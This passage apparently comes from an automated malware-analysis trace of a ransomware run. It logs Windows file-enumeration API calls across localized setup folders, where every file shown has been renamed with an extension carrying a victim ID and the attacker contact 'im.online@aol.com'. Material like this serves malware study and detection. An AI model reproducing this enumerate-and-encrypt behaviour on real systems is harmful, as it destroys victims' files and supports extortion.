cAlternateFileName="$WINRE~1.MAR")) returned 1 [0222.659] FindNextFileW (in: hFindFile=0x6d0088, lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xad0c713b, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xad0c713b, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0222.659] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x3230048 [0222.659] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xad0c713b, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xad0c713b, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName=".", cAlternateFileName="")) returned 0x6d0008 [0222.774] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xad0c713b, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xad0c713b, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="..", cAlternateFileName="")) returned 1 [0223.056] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa44745f6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa44745f6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1025", cAlternateFileName="")) returned 1 [0223.056] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.057] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa44745f6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa44745f6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d0548 [0223.058] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa44745f6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa44745f6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.058] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa54f080d, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa54f080d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5506abc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.059] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa550a23e, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa550a23e, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa561b12b, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.059] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa438f74a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa438f74a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa444e4e0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.059] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa438f74a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa438f74a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa444e4e0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.059] FindClose (in: hFindFile=0x6d0548 | out: hFindFile=0x6d0548) returned 1 [0223.060] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.060] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5384b00, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5384b00, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1028", cAlternateFileName="")) returned 1 [0223.061] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.061] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5384b00, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5384b00, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d00c8 [0223.062] FindNextFileW (in: hFindFile=0x6d00c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5384b00, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5384b00, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.063] FindNextFileW (in: hFindFile=0x6d00c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa561b12b, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa561b12b, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa595cb5b, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.063] FindNextFileW (in: hFindFile=0x6d00c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa577d6d8, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa577d6d8, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5792c5b, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.063] FindNextFileW (in: hFindFile=0x6d00c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa535af60, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa535af60, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5384b00, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.063] FindNextFileW (in: hFindFile=0x6d00c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa535af60, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa535af60, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5384b00, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.063] FindClose (in: hFindFile=0x6d00c8 | out: hFindFile=0x6d00c8) returned 1 [0223.064] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.064] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5443a8f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5443a8f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1029", cAlternateFileName="")) returned 1 [0223.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.065] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5443a8f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5443a8f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d0308 [0223.066] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5443a8f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5443a8f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.066] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa595cb5b, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa595cb5b, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5982c57, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.066] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5982c57, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5982c57, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa59a9001, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.066] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa53ab0c9, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa53ab0c9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5443a8f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.066] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa53ab0c9, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa53ab0c9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5443a8f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.066] FindClose (in: hFindFile=0x6d0308 | out: hFindFile=0x6d0308) returned 1 [0223.067] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.067] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa58c4089, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1030", cAlternateFileName="")) returned 1 [0223.067] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.068] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa58c4089, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d0308 [0223.069] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa58c4089, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.069] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5d6294e, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5d6294e, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5d6294e, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.069] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5c57872, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5c57872, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5c7db6f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.069] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa58c4089, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa58c4089, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.070] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa58c4089, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa58c4089, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.070] FindClose (in: hFindFile=0x6d0308 | out: hFindFile=0x6d0308) returned 1 [0223.071] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.071] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5910483, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5910483, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1031", cAlternateFileName="")) returned 1 [0223.071] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.071] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5910483, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5910483, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6cffc8 [0223.142] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5910483, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5910483, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.142] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5ca3de5, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5ca3de5, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5cca0d7, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.142] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5cca0d7, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5cca0d7, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5f78ad6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.142] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa58c4089, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5910483, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.142] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa58c4089, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5910483, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.142] FindClose (in: hFindFile=0x6cffc8 | out: hFindFile=0x6cffc8) returned 1 [0223.142] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.143] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1032", cAlternateFileName="")) returned 1 [0223.143] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.143] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6cfec8 [0223.145] FindNextFileW (in: hFindFile=0x6cfec8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.145] FindNextFileW (in: hFindFile=0x6cfec8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5d16601, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5d16601, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5d16601, 